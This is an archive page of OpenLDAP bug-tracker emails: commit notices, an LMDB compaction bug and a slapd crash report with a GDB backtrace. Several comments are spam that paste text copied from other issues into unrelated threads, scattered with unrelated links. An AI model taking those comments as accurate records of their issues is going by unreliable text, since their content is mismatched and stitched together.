- openldap-bugs - openldap.org

[Issue 7595] OpenLDAP lacks a ECDHE key generation callback
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=7595 Howard Chu <hyc(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=9687 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7595] OpenLDAP lacks a ECDHE key generation callback
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=7595 --- Comment #7 from Howard Chu <hyc(a)openldap.org> --- (In reply to Howard Chu from comment #1) > Some background info in this thread > http://openssl.6102.n7.nabble.com/Problem-with-cipher-suite-ECDHE-ECDSA- > AES256-SHA384-td42229.html nabble.com seems to have reorganized their domains and the above URL is now broken. The same thread is available at https://www.mail-archive.com/openssl-users@openssl.org/msg69181.html > -- > -- Howard Chu > CTO, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc/ > Chief Architect, OpenLDAP http://www.openldap.org/project/ -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8341] Matching rules for 'namingContexts'
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8341 --- Comment #9 from Quanah Gibson-Mount <quanah(a)openldap.org> --- Re25: • 2a537ad0 by Ondřej Kuzník at 2021-09-14T16:17:45+00:00 ITS#8341 Allow normalised values for namingContexts in cn=monitor -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8341] Matching rules for 'namingContexts'
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8341 --- Comment #8 from Quanah Gibson-Mount <quanah(a)openldap.org> --- RE26: • ea92405a by Ondřej Kuzník at 2021-09-14T16:17:25+00:00 ITS#8341 Allow normalised values for namingContexts in cn=monitor -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8341] Matching rules for 'namingContexts'
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8341 --- Comment #7 from Quanah Gibson-Mount <quanah(a)openldap.org> --- • bfe3d19e by Ondřej Kuzník at 2021-09-09T10:26:06+01:00 ITS#8341 Allow normalised values for namingContexts in cn=monitor -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9619] New: mdb_env_copy2 with MDB_CP_COMPACT in mdb.master3 produces corrupt mdb file
by openldap-its＠openldap.org 14 Sep '21

14 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9619 Issue ID: 9619 Summary: mdb_env_copy2 with MDB_CP_COMPACT in mdb.master3 produces corrupt mdb file Product: LMDB Version: 0.9.29 Hardware: All OS: Windows Status: UNCONFIRMED Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: kriszyp(a)gmail.com Target Milestone: --- When copying an LMDB database with mdb_env_copy2 with the MDB_CP_COMPACT with mdb.master3, the resulting mdb file seems to be corrupt and when using it in LMDB, I get segmentation faults. Copying without the compacting flag seems to work fine. I apologize, I know this is not a very good issue report, as I haven't had a chance to actually narrow this down to a more reproducible/isolated case, or look for how to patch. I thought I would report in case there are any ideas on what could cause this. The segmentation faults always seem to be memory write faults (as opposed to try fault on trying to read). Or perhaps the current backup/copying functionality is eventually going to be replaced by incremental backup/copying anyway (https://twitter.com/hyc_symas/status/1315651814096875520). I'll try to update this if I get a chance to investigate more, but otherwise feel free to ignore/consider low-priority since the work around is easy. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 6467] syncrepl enhancements
by openldap-its＠openldap.org 13 Sep '21

13 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6467 --- Comment #11 from Quanah Gibson-Mount <quanah(a)openldap.org> --- RE25: commit a00ec090bdcdfdb390ace2238f581ad147e5974f Author: Ondřej Kuzník <ondra(a)mistotebe.net> Date: Tue Jun 1 13:56:58 2021 +0100 ITS#6467 Free uuid list after we're finished -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6467] syncrepl enhancements
by openldap-its＠openldap.org 13 Sep '21

13 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6467 --- Comment #10 from Quanah Gibson-Mount <quanah(a)openldap.org> --- commit 726a2031334d066a6e463d7b992b6ca7b390e631 Author: Ondřej Kuzník <ondra(a)mistotebe.net> Date: Tue Jun 1 13:56:58 2021 +0100 ITS#6467 Free uuid list after we're finished -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9571] New: Add Behera Draft 8 compatibility flag to ppolicy overlay
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9571 Issue ID: 9571 Summary: Add Behera Draft 8 compatibility flag to ppolicy overlay Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: mhardin(a)symas.com Target Milestone: --- The RFC for Behera Password Policy, Draft, 10 changes modification semantics of certain policy attributes from those that were in effect in Draft 8. To preserve compatibility with applications that depend on the Draft 8 semantics, a compatibility flag needs to be added to the ppolicy configuration that restores the Draft 8 semantics. -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 9608] New: slapo-syncprov: Replace op on olcSpSessionlog segfault
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9608 Issue ID: 9608 Summary: slapo-syncprov: Replace op on olcSpSessionlog segfault Product: OpenLDAP Version: 2.4.59 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- With the following Syncprov overlay configuration: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config objectClass: olcSyncProvConfig objectClass: olcOverlayConfig olcOverlay: {0}syncprov olcSpCheckpoint: 100 10 You can crash slapd with the following modification as the cn=config rootdn: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config changetype: modify replace: olcSpSessionlog olcSpSessionlog: 10000 GDB backtrace shows: #0 0x00007f7b43f8b954 in sp_cf_gen (c=0x7f7b0761b450) at syncprov.c:3164 on = 0x55d6fb385b90 si = 0x55d6fb35c700 rc = 0 #1 0x000055d6fa4da4ec in config_modify_internal (ca=0x7f7b0761b450, rs=<optimized out>, op=<optimized out>, ce=<optimized out>) at bconfig.c:5773 vals = 0x7f7af8002680 nvals = 0x0 d = <optimized out> e = 0x55d6fb335a38 save_attrs = 0x55d6fb349498 a = 0x55d6fb350180 i = <optimized out> dels = 0x0 rc = <optimized out> oc_at = <optimized out> ct = 0x7f7b441970e0 <spcfg+64> nocs = 3 ptr = <optimized out> s = 0x0 deltail = 0x0 ml = 0x7f7af8102cd0 #2 config_back_modify (op=<optimized out>, rs=<optimized out>) at bconfig.c:5943 cfb = <optimized out> ce = <optimized out> last = 0x55d6fb387f30 ml = <optimized out> ca = {argc = 1, argv = 0x7f7af8103610, argv_size = 513, line = 0x0, tline = 0x0, fname = 0x55d6fa5f5a91 "slapd", lineno = 0, log = "olcSpSessionlog: value #0", '\000' <repeats 4098 times>, reply = {err = 0, msg = "modify/delete: olcSpSessionlog: no such attribute", '\000' <repeats 206 times>}, depth = 0, valx = -1, values = {v_int = 10000, v_uint = 10000, v_long = 10000, v_ulong = 10000, v_ber_t = 10000, v_string = 0x2710 <Address 0x2710 out of bounds>, v_bv = {bv_len = 10000, bv_val = 0x0}, v_dn = {vdn_dn = { bv_len = 10000, bv_val = 0x0}, vdn_ndn = {bv_len = 0, bv_val = 0x0}}, v_ad = 0x2710}, rvalue_vals = 0x0, rvalue_nvals = 0x0, op = 1, type = 2, ca_op = 0x7f7af80028f0, be = 0x55d6fb35c880, bi = 0x55d6fb385b90, ca_entry = 0x55d6fb335a38, ca_private = 0x0, cleanup = 0x0, table = Cft_Overlay} rdn = {bv_len = 10, bv_val = 0x55d6fb385d70 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} ptr = <optimized out> rad = 0x55d6fb31a570 do_pause = <optimized out> #3 0x000055d6fa508b89 in fe_op_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:303 update = <optimized out> repl_user = <optimized out> op_be = <optimized out> bd = 0x55d6fa87da80 <slap_frontendDB> textbuf = "\006\000\000\000y\000\000\000\001\000\000\000\300\000\000\000\000\000\000\000\020\001\000\000\000\000\000\000\000\000\000\000P\215.\373\326U\000\000 \307a\a{\177\000\000\006\000\000\000\000\000\000\000u\335P\372\326U\000\000`\330a\a{\177\000\000\344l\207\372\326U\000\000\005\000\000\000\000\000\000\000 \036\000\370z\177\000\000\017\000\000\000\000\000\000\000B[\233G{\177\000\000\064\000\000\000\000\000\000\000\000_Z\004\321WbM\300\307a\a{\177", '\000' <repeats 18 times>, "\320,\020\370z\177\000\000p]5\373\326U", '\000' <repeats 18 times>, "J\227P\372\326U\000\000\200\n\000\370z\177\000\000"... #4 0x000055d6fa50ab7d in do_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:177 dn = {bv_len = 51, bv_val = 0x7f7af8002867 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} textbuf = "olcSpSessionlog", '\000' <repeats 240 times> tmp = 0x0 #5 0x000055d6fa4f068c in connection_operation (ctx=ctx@entry=0x7f7b0761dad0, arg_v=arg_v@entry=0x7f7af80028f0) at connection.c:1182 rc = 80 cancel = <optimized out> op = 0x7f7af80028f0 rs = {sr_type = REP_RESULT, sr_tag = 0, sr_msgid = 0, sr_err = 0, sr_matched = 0x0, sr_text = 0x0, sr_ref = 0x0, sr_ctrls = 0x0, sr_un = {sru_search = { r_entry = 0x0, r_attr_flags = 0, r_operational_attrs = 0x0, r_attrs = 0x0, r_nentries = 0, r_v2ref = 0x0}, sru_sasl = {r_sasldata = 0x0}, sru_extended = { r_rspoid = 0x0, r_rspdata = 0x0}}, sr_flags = 0} tag = 102 opidx = SLAP_OP_MODIFY conn = 0x55d6fb522120 memctx = 0x7f7af8000a80 memctx_null = 0x0 memsiz = 1048576 __PRETTY_FUNCTION__ = "connection_operation" #6 0x000055d6fa4f09fb in connection_read_thread (ctx=0x7f7b0761dad0, argv=0xb) at connection.c:1318 rc = <optimized out> cri = {op = 0x7f7af80028f0, func = 0x0, arg = 0x0, ctx = <optimized out>, nullop = <optimized out>} s = <optimized out> #7 0x00007f7b4937527a in ldap_int_thread_pool_wrapper (xpool=0x55d6fb3101d0) at tpool.c:696 pool = 0x55d6fb3101d0 task = 0x7f7b00000b40 work_list = <optimized out> ctx = {ltu_id = 140166381561600, ltu_key = {{ltk_key = 0x55d6fa4ee6a0 <conn_counter_init>, ltk_data = 0x7f7af8002710, ltk_free = 0x55d6fa4ee780 <conn_counter_destroy>}, {ltk_key = 0x55d6fa549200 <slap_sl_mem_init>, ltk_data = 0x7f7af8000a80, ltk_free = 0x55d6fa5490c0 <slap_sl_mem_destroy>}, {ltk_key = 0x55d6fa504fd0 <slap_op_free>, ltk_data = 0x0, ltk_free = 0x55d6fa504f30 <slap_op_q_destroy>}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0} <repeats 26 times>, {ltk_key = 0x0, ltk_data = 0x7f7b484ffd61 <_L_unlock_3056+19>, ltk_free = 0x0}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}, {ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}}} kctx = <optimized out> keyslot = <optimized out> hash = <optimized out> __PRETTY_FUNCTION__ = "ldap_int_thread_pool_wrapper" #8 0x00007f7b484feea5 in start_thread () from /lib64/libpthread.so.0 No symbol table info available. #9 0x00007f7b479bb9fd in clone () from /lib64/libc.so.6 No symbol table info available. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 6916] slapo-unique returns operations error when assertion control is used
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6916 --- Comment #14 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- the following Syncprov overlay configuration: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config objectClass: olcSyncProvConfig objectClass: olcOverlayConfig http://www-look-4.com/ olcOverlay: {0}syncprov olcSpCheckpoint: 100 10 http://www.compilatori.com/ You can crash slapd with the following modification as the cn=config rootdn: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config changetype: modify replace: olcSpSessionlog http://www.wearelondonmade.com/ olcSpSessionlog: 10000 GDB backtrace shows: http://www.jopspeech.com/ #0 0x00007f7b43f8b954 in sp_cf_gen (c=0x7f7b0761b450) at syncprov.c:3164 on = 0x55d6fb385b90 si = 0x55d6fb35c700 rc = 0 http://joerg.li/ #1 0x000055d6fa4da4ec in config_modify_internal (ca=0x7f7b0761b450, rs=<optimized out>, op=<optimized out>, ce=<optimized out>) at bconfig.c:5773 vals = 0x7f7af8002680 nvals = 0x0 d = <optimized out> http://connstr.net/ e = 0x55d6fb335a38 save_attrs = 0x55d6fb349498 a = 0x55d6fb350180 i = <optimized out> dels = 0x0 rc = <optimized out> http://embermanchester.uk/ oc_at = <optimized out> ct = 0x7f7b441970e0 <spcfg+64> nocs = 3 ptr = <optimized out> s = 0x0 deltail = 0x0 ml = 0x7f7af8102cd0 http://www.slipstone.co.uk/ #2 config_back_modify (op=<optimized out>, rs=<optimized out>) at bconfig.c:5943 cfb = <optimized out> ce = <optimized out> last = 0x55d6fb387f30 ml = <optimized out> http://www.logoarts.co.uk/ ca = {argc = 1, argv = 0x7f7af8103610, argv_size = 513, line = 0x0, tline = 0x0, fname = 0x55d6fa5f5a91 "slapd", lineno = 0, log = "olcSpSessionlog: value #0", '\000' <repeats 4098 times>, reply = {err = 0, http://www.acpirateradio.co.uk/ msg = "modify/delete: olcSpSessionlog: no such attribute", '\000' <repeats 206 times>}, depth = 0, valx = -1, values = {v_int = 10000, v_uint = 10000, v_long = 10000, v_ulong = 10000, v_ber_t = 10000, v_string = 0x2710 <Address 0x2710 out of bounds>, v_bv = {bv_len https://waytowhatsnext.com/ = 10000, bv_val = 0x0}, v_dn = {vdn_dn = { bv_len = 10000, bv_val = 0x0}, vdn_ndn = {bv_len = 0, bv_val = 0x0}}, v_ad = 0x2710}, rvalue_vals = 0x0, rvalue_nvals = 0x0, op = 1, type = 2, https://www.webb-dev.co.uk/ ca_op = 0x7f7af80028f0, be = 0x55d6fb35c880, bi = 0x55d6fb385b90, ca_entry = 0x55d6fb335a38, ca_private = 0x0, cleanup = 0x0, table = Cft_Overlay} rdn = {bv_len = 10, bv_val = 0x55d6fb385d70 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} ptr = <optimized out> rad = 0x55d6fb31a570 do_pause = <optimized out> #3 0x000055d6fa508b89 in fe_op_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:303 http://www.iu-bloomington.com/ update = <optimized out> repl_user = <optimized out> op_be = <optimized out> bd = 0x55d6fa87da80 <slap_frontendDB> -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 5555] authzTo ACL check for wrong principal
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=5555 --- Comment #19 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- textbuf = "\006\000\000\000y\000\000\000\001\000\000\000\300\000\000\000\000\000\000\000\020\001\000\000\000\000\000\000\000\000\000\000P\215.\373\326U\000\000 http://www-look-4.com/ \307a\a{\177\000\000\006\000\000\000\000\000\000\000u\335P\372\326U\000\000`\330a\a{\177\000\000\344l\207\372\326U\000\000\005\000\000\000\000\000\000\000 \036\000\370z\177\000\000\017\000\000\000\000\000\000\000B[\233G{\177\000\000\064\000\000\000\000\000\000\000\000_Z\ http://www.compilatori.com/ 004\321WbM\300\307a\a{\177", '\000' <repeats 18 times>, "\320,\020\370z\177\000\000p]5\373\326U", '\000' <repeats 18 times>, "J\227P\372\326U\000\000\200\n\000\370z\177\000\000"... http://www.wearelondonmade.com/ #4 0x000055d6fa50ab7d in do_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:177 dn = {bv_len = 51, bv_val = 0x7f7af8002867 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} http://www.jopspeech.com/ textbuf = "olcSpSessionlog", '\000' <repeats 240 times> tmp = 0x0 #5 0x000055d6fa4f068c in connection_operation (ctx=ctx@entry=0x7f7b0761dad0, arg_v=arg_v@entry=0x7f7af80028f0) at connection.c:1182 http://joerg.li/ rc = 80 cancel = <optimized out> op = 0x7f7af80028f0 rs = {sr_type = REP_RESULT, sr_tag = 0, sr_msgid = 0, sr_err = 0, http://connstr.net/ sr_matched = 0x0, sr_text = 0x0, sr_ref = 0x0, sr_ctrls = 0x0, sr_un = {sru_search = { r_entry = 0x0, r_attr_flags = 0, r_operational_attrs = 0x0, r_attrs = 0x0, r_nentries = 0, r_v2ref = 0x0}, sru_sasl = {r_sasldata = 0x0}, sru_extended = { r_rspoid = 0x0, r_rspdata = 0x0}}, sr_flags = 0} http://embermanchester.uk/ tag = 102 opidx = SLAP_OP_MODIFY conn = 0x55d6fb522120 memctx = 0x7f7af8000a80 memctx_null = 0x0 memsiz = 1048576 __PRETTY_FUNCTION__ = "connection_operation" http://www.slipstone.co.uk/ #6 0x000055d6fa4f09fb in connection_read_thread (ctx=0x7f7b0761dad0, argv=0xb) at connection.c:1318 rc = <optimized out> cri = {op = 0x7f7af80028f0, func = 0x0, arg = 0x0, ctx = <optimized out>, nullop = <optimized out>} s = <optimized out> http://www.logoarts.co.uk/ #7 0x00007f7b4937527a in ldap_int_thread_pool_wrapper (xpool=0x55d6fb3101d0) at tpool.c:696 pool = 0x55d6fb3101d0 task = 0x7f7b00000b40 work_list = <optimized out> http://www.acpirateradio.co.uk/ ctx = {ltu_id = 140166381561600, ltu_key = {{ltk_key = 0x55d6fa4ee6a0 <conn_counter_init>, ltk_data = 0x7f7af8002710, ltk_free = 0x55d6fa4ee780 <conn_counter_destroy>}, {ltk_key = 0x55d6fa549200 <slap_sl_mem_init>, ltk_data = 0x7f7af8000a80, https://waytowhatsnext.com/ ltk_free = 0x55d6fa5490c0 <slap_sl_mem_destroy>}, {ltk_key = 0x55d6fa504fd0 <slap_op_free>, ltk_data = 0x0, ltk_free = 0x55d6fa504f30 <slap_op_q_destroy>}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0} <repeats 26 times>, {ltk_key = 0x0, ltk_data = 0x7f7b484ffd61 <_L_unlock_3056+19>, ltk_free = 0x0}, { https://www.webb-dev.co.uk/ ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}, {ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}}} kctx = <optimized out> keyslot = <optimized out> hash = <optimized out> __PRETTY_FUNCTION__ = "ldap_int_thread_pool_wrapper" #8 0x00007f7b484feea5 in start_thread () from /lib64/libpthread.so.0 No symbol table info available. http://www.iu-bloomington.com/ #9 0x00007f7b479bb9fd in clone () from /lib64/libc.so.6 No symbol table info available. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8962] Dead links in FAQ page "Where can I find listings of schema items?"
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8962 --- Comment #5 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 ITS#9608 fix delete of nonexistent sessionlog http://www-look-4.com/ RE25: Commits: • 11e0c783 by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.compilatori.com/ RE24: Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.wearelondonmade.com/ master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 http://www.jopspeech.com/ ITS#9608 fix delete of nonexistent sessionlog RE25: Commits: • 11e0c783 http://joerg.li/ by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog RE24: http://connstr.net/ Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 ITS#9608 fix delete of nonexistent sessionlog http://embermanchester.uk/ RE25: Commits: • 11e0c783 by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.slipstone.co.uk/ RE24: Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.logoarts.co.uk/ but unfortunatley the FAQ software breaks Apache when you try and delete an answer. I think the better solution is just to remove the FAQ software completely. I experimented a bit with a service file. It seems to work well with either Type=forking and NotifyAccess=all, or Type=notify and http://www.acpirateradio.co.uk/ ExecStart=slapd -d none. The latter (disabling forking) is definitely what systemd upstream recommends. In either case, MAINPID= didn't actually seem to help anything. NotifyAccess=main has a chicken-and-egg problem, because systemd needs to know the main PID in order for us to send it the message containing the PID! :) I think the only reasonable way to leave forking enabled https://waytowhatsnext.com/ would be to also require a PIDFile= setting, which solves that problem. But I'd rather sidestep the entire thing, omit MAINPID= as well, and Looking at the systemctl output I still think STATUS= is redundant and could be omitted. https://www.webb-dev.co.uk/ So I guess my recommendation for the notify call boils down to: rc = sd_notify( 1, "READY=1" ); and a slapd.service along the lines of: [Unit] Description=OpenLDAP server [Service] Type=notify ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0 [Install] WantedBy=multi-user.target (basically identical to the example in systemd.service(5).) Side note: the version message from slapd appears in the journal twice, once with the timestamp and once without... I experimented a bit with a service file. It seems to work well with either Type=forking and NotifyAccess=all, or Type=notify and ExecStart=slapd -d none. The latter (disabling forking) is definitely what systemd upstream recommends. In either case, MAINPID= didn't actually seem to help anything. NotifyAccess=main has a chicken-and-egg problem, because systemd needs to know the main PID in order for us to send it the message containing the PID! :) I think the only reasonable way to leave forking enabled http://www.iu-bloomington.com/ would be to also require a PIDFile= setting, which solves that problem. But I'd rather sidestep the entire thing, omit MAINPID= as well, and Looking at the systemctl output I still think STATUS= is redundant and could be omitted. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6598] EXOP to return number of children of a (sub)tree
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6598 --- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- If non-anonymous access is needed, the slapd.access(5) manpage needs an > update too. (Or instead, to avoid duplicating text.) Currently it just > says: http://www-look-4.com/ > > Auth (=x) privileges are also required on the authzTo attribute > of the authorizing identity and/or on the authzFrom attribute of > the authorized identity. http://www.compilatori.com/ > > but it doesn't mention to who needs that auth access. It http://www.wearelondonmade.com/ is the authenticated ID that needs access in both cases. On further thought I think it is correct that the access is checked without reference to whether that ID has access to entry and parent entries, as (particularly in the case of authzFrom) http://www.jopspeech.com/ the authenticated ID may not have any direct access to the entry whose ID it is about to assume. http://joerg.li/ Thus, if principal A has authenticated and wishes to perform an operation using principal B's authorisation, the access required is: A needs auth access to authzTo in its own entry if that attribute is involved in giving A permission to act for B. http://connstr.net/ A needs auth access to authzFrom in B's entry if that attribute is involved in giving A permission to act for B. The rules are the same whether using a SASL authorization identity or using a ProxyAuth control on an LDAP operation. http://embermanchester.uk/ Thus I think my original report was wrong. This is a documentation issue, not a bug. If non-anonymous access is needed, the slapd.access(5) manpage needs an http://www.slipstone.co.uk/ > update too. (Or instead, to avoid duplicating text.) Currently it just > says: > > Auth (=x) privileges are also required on the authzTo attribute http://www.logoarts.co.uk/ > of the authorizing identity and/or on the authzFrom attribute of > the authorized identity. > > but it doesn't mention to who needs that auth access. http://www.acpirateradio.co.uk/ It is the authenticated ID that needs access in both cases. On further thought I think it is correct that the access is checked without reference to whether that ID has access to entry and parent entries, as (particularly in the case of authzFrom) the https://waytowhatsnext.com/ authenticated ID may not have any direct access to the entry whose ID it is about to assume. Thus, if principal A has authenticated and wishes to perform an https://www.webb-dev.co.uk/ operation using principal B's authorisation, the access required is: A needs auth access to authzTo in its own entry if that attribute is involved in giving A permission to act for B. A needs auth access to authzFrom in B's entry if that attribute is involved in giving A permission to act for B. The rules are the same whether using a SASL authorization identity or using a ProxyAuth control on an LDAP operation. http://www.iu-bloomington.com/ Thus I think my original report was wrong. This is a documentation issue, not a bug. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 5963] Explictly deleting all object classes and re-add some fails in modify request
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=5963 --- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- It would be extremely useful to have an extended operation that allows >> querying >> the number of children of http://www-look-4.com/ a given (sub)tree, so that one can avoid >> iterating >> through the entire subtree to determine this number. >> > Might as well ask for the numSubordinates operational attribute to be http://www.compilatori.com/ > implemented instead, this doesn't seem to merit a new exop. And for > numSubordinates, see the -devel archives for why we chose not to implement > it. http://www.wearelondonmade.com/ > > In either case, the server still needs to iterate over all entries > internally, > and the result has to take ACLs and entry disclosure into account. http://www.jopspeech.com/ An exop would allow to easily discriminate between intentional and "catchall" requests, like "+". Moreover, it might make sense to discriminate at least between subtree and onelevel number http://joerg.li/ of subordinates; this would require two distinct operational attributes, or a parameter in the exop. I'm not endorsing either solution, I'm just pointing out possible pros and cons. http://connstr.net/ It would be extremely useful to have an extended operation that allows >> querying >> the number of children of a given (sub)tree, so that one can avoid >> iterating http://embermanchester.uk/ >> through the entire subtree to determine this number. >> > Might as well ask for the numSubordinates operational attribute to be > implemented instead, this doesn't seem to merit a new exop. And for > numSubordinates, see the -devel archives for why we chose not to implement > it. http://www.slipstone.co.uk/ > > In either case, the server still needs to iterate over all entries > internally, > and the result has to take ACLs and entry disclosure into account. http://www.logoarts.co.uk/ An exop would allow to easily discriminate between intentional and "catchall" requests, like "+". Moreover, it might make sense to discriminate at least between subtree and onelevel number of subordinates; http://www.acpirateradio.co.uk/ this would require two distinct operational attributes, or a parameter in the exop. I'm not endorsing either solution, https://waytowhatsnext.com/ I'm just pointing out possible pros and cons. >> A simple "./configure --prefix=/whatever" ought to be a reasonable way >> to build OpenLDAP, like with most other packages. There are >> installation instructions and they do not mention NDEBUG. I strongly concur with Hallvard here. http://www.iu-bloomington.com/ > Every use of assert is "assert(the code is correct)" - but that often depends > on dynamic state, not just the statically written code. Yes, dynamic state including invalid input. But IMO "assert(the code is correct)" should never be hit no matter how bad the input was. And it should definitely not crash the server (with system's ressource limits being a https://www.webb-dev.co.uk/ unavoidable exception). Rephrasing: The meaning of the statement "the code is correct" should also include "invalid input is properly handled as error" - no matter what. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 4730] Overlay that generates operational attributes to support GUI interaction
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=4730 --- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 http://www-look-4.com/ already exists" > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. http://www.compilatori.com/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted http://www.wearelondonmade.com/ modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY 3) indicate any inheritance relationship 4) send the outcome of (2) and (3) after mangling the objectClass names as required. http://www.jopspeech.com/ This should allow you (and others) to try to reproduce the issue without the need to disclose your info. http://joerg.li/ If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 already exists" http://connstr.net/ > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. http://embermanchester.uk/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY 3) indicate any inheritance relationship http://www.slipstone.co.uk/ 4) send the outcome of (2) and (3) after mangling the objectClass names as required. This should allow you (and others) to try to reproduce the issue without the need to disclose your info. http://www.logoarts.co.uk/ If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 already exists" http://www.acpirateradio.co.uk/ > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. https://waytowhatsnext.com/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY https://www.webb-dev.co.uk/ 3) indicate any inheritance relationship 4) send the outcome of (2) and (3) after mangling the objectClass names as required. This should allow you (and others) to try to reproduce the issue without the need to disclose your info http://www.iu-bloomington.com/ . -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6656] logging "reqEntryUUID" in accesslog
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

